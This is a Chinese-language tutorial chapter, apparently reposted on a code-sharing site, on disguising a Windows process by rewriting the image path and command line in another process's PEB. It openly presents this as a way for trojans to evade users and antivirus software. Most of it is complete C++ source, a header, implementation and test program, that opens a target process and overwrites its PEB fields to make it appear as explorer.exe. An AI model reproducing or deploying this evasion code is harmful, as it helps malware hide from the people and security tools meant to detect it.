第七章 隱藏技術---進程偽裝


一、進程偽裝

對於木馬病毒來說,最簡單的進程偽裝方式就是修改進程名稱。例如,將本地文件名稱修改為svchost.exe、services.exe等系統進程,從而不被用戶和殺軟發現。接下來,將要介紹的進程偽裝可以修改任意指定進程的信息,即該進程信息在系統中顯示的時另一個進程的信息。這樣,指定進程與偽裝進程的信息相同,但實際上,它還執行原來的進程的操作,這就達到了偽裝的目的。
基礎知識:1、什么時PEB(Process Envirorment Block Structure)
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
英文翻譯過來就是進程環境信息塊,這里包含了一寫進程的信息。

二、API

1、NtQueryInformationProcess函數
獲取指定進程的信息
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
注意:此函數沒有關聯的導入庫,所以必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dlll中獲取該函數地址
2、PROCESS_BASIC_INFORMATION結構體
https://baike.baidu.com/item/PROCESS_INFORMATION/4931802?fr=aladdin

三、實現原理

進程偽裝的原理不是很復雜,就是修改指定進程環境快中的進程路徑以及命令行信息。所以,實現的關鍵在於進程環境塊的獲取。由上述的函數可知,可以通過ntdll.dll中的導出函數NtQueryInformationProcess來獲取指定進程的PEB地址。獲取目標進程的PEB之后,並不能直接根據指針來讀寫內存數據,因為該程序進程可能與目標進程並不在同一個進程內。由於進程空間獨立性的緣故,所以需要通過調用WIN32 API函數ReadProcessMemory和WriteProcessMemory來讀寫目標進程內存。
具體的實現流程如下所示:
首先,根據進程的PID號打開指定的進程,並獲取進程的句柄。
然后,從ntdll.dll中獲取NtQueryInformationProcess函數的導出地址,因為該函數沒有關聯導入庫,所以只能動態獲取。
接着,使用NtQueryInformationProcess函數獲取指定的進程基本信息PROCESS_BASIC_INFORMATION,並從中獲取指定進程的PEB。
最后,就可以根據進程環境塊中的ProcessParameters來獲取指定進程的RTL_USER_PROCESS_PARAMETERS信息,這是因為PEB的路徑信息、命令行信息存儲在這個結構體中。調用ReadProcessMemory和WriteProcessMemory函數修改PEB中的路徑信息、命令行信息等,從而實現進程偽裝。

四、代碼實現

DisguiseProcess.h

#ifndef _DISGUISE_PROCESS_H_
#define _DISGUISE_PROCESS_H_

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <SDKDDKVer.h>

typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
	IN HANDLE ProcessHandle,
	IN PROCESSINFOCLASS ProcessInformationClass,
	OUT PVOID ProcessInformation,
	IN ULONG ProcessInformationLength,
	OUT PULONG ReturnLength OPTIONAL
	);


// 修改指定進程的進程環境塊PEB中的路徑和命令行信息, 實現進程偽裝
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd);

#endif

DisguiseProcess.cpp

#include "DisguiseProcess.h"

void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 修改指定進程的進程環境塊PEB中的路徑和命令行信息, 實現進程偽裝
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
	// 打開進程獲取句柄
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	// 需要通過 LoadLibrary、GetProcessAddress 從 ntdll.dll 中獲取地址
	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}
	// 獲取指定進程的基本信息
	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	/*
		注意在讀寫其他進程的時候,注意要使用ReadProcessMemory/WriteProcessMemory進行操作,
		每個指針指向的內容都需要獲取,因為指針只能指向本進程的地址空間,必須要讀取到本進程空間。
		要不然一直提示位置訪問錯誤!
	*/
	// 獲取指定進程進本信息結構中的PebBaseAddress
	ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	// 獲取指定進程環境塊結構中的ProcessParameters, 注意指針指向的是指定進程空間中
	ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	// 修改指定進程環境塊PEB中命令行信息, 注意指針指向的是指定進程空間中
	usCmdLen = 2 + 2 * wcslen(lpwszCmd);
	WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
	// 修改指定進程環境塊PEB中路徑信息, 注意指針指向的是指定進程空間中
	usPathLen = 2 + 2 * wcslen(lpwszPath);
	WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}

DisguiseProcess_Test.cpp

#include "DisguiseProcess.h"

int _tmain(int argc, _TCHAR* argv[])
{
	if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
	{
		printf("Dsisguise Process Error.\n");
	}
	printf("Dsisguise Process OK.\n");

	system("pause");
	return 0;
}

五、小結

注意:1、一定要區分指針指向的是指定進程的空間還是本程序的空間,若指向其他進程空間,則一律使用ReadProcessMemory和WriteProcessMemory函數進行數據讀寫。
2、PEB修改程序在64位和32位系統中,分別編譯為64位程序和32程序


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM